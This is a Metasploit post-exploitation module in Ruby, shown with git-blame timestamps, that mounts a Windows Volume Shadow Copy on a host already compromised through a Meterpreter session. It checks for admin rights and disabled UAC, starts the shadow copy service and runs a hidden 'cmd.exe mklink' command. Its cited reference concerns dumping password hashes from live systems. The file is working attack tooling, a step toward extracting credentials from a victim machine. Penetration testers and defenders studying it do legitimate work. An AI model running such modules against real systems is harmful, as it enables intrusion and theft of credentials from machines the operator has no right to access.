2011-12-30 23:03:04 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2011-12-30 23:03:04 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'msf/core/post/windows/shadowcopy'
|
|
|
|
require 'msf/core/post/windows/priv'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Post
|
|
|
|
|
|
|
|
include Msf::Post::Windows::Priv
|
|
|
|
include Msf::Post::Windows::ShadowCopy
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => "Windows Manage Mount Shadow Copy",
|
|
|
|
'Description' => %q{
|
|
|
|
This module will attempt to mount a Volume Shadow Copy
|
2012-03-05 20:28:23 +00:00
|
|
|
on the system. This is based on the VSSOwn Script
|
2011-12-30 23:03:04 +00:00
|
|
|
originally posted by Tim Tomes and Mark Baggett.
|
2012-03-05 20:28:23 +00:00
|
|
|
|
2011-12-30 23:03:04 +00:00
|
|
|
Works on win2k3 and later.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
2012-10-23 18:33:01 +00:00
|
|
|
'Platform' => ['win'],
|
2011-12-30 23:03:04 +00:00
|
|
|
'SessionTypes' => ['meterpreter'],
|
2012-09-20 02:46:14 +00:00
|
|
|
'Author' => ['theLightCosine'],
|
2012-01-04 18:10:03 +00:00
|
|
|
'References' => [
|
|
|
|
[ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ]
|
|
|
|
]
|
2011-12-30 23:03:04 +00:00
|
|
|
))
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('DEVICE', [ true, 'DeviceObject of Shadowcopy to mount.' ]),
|
|
|
|
OptString.new('PATH', [ true, 'Path to mount it to.' ])
|
|
|
|
], self.class)
|
2012-03-05 20:28:23 +00:00
|
|
|
|
2011-12-30 23:03:04 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def run
|
|
|
|
unless is_admin?
|
|
|
|
print_error("This module requires admin privs to run")
|
|
|
|
return
|
|
|
|
end
|
2012-01-03 20:07:38 +00:00
|
|
|
if is_uac_enabled?
|
|
|
|
print_error("This module requires UAC to be bypassed first")
|
|
|
|
return
|
|
|
|
end
|
2011-12-30 23:03:04 +00:00
|
|
|
unless start_vss
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2012-03-18 05:07:27 +00:00
|
|
|
r = session.sys.process.execute("cmd.exe /C mklink /D #{datastore['DEVICE']} #{datastore['PATH']}", nil, {'Hidden' => true})
|
2011-12-30 23:03:04 +00:00
|
|
|
|
2012-03-18 05:07:27 +00:00
|
|
|
end
|
2011-12-30 23:03:04 +00:00
|
|
|
|
|
|
|
end
|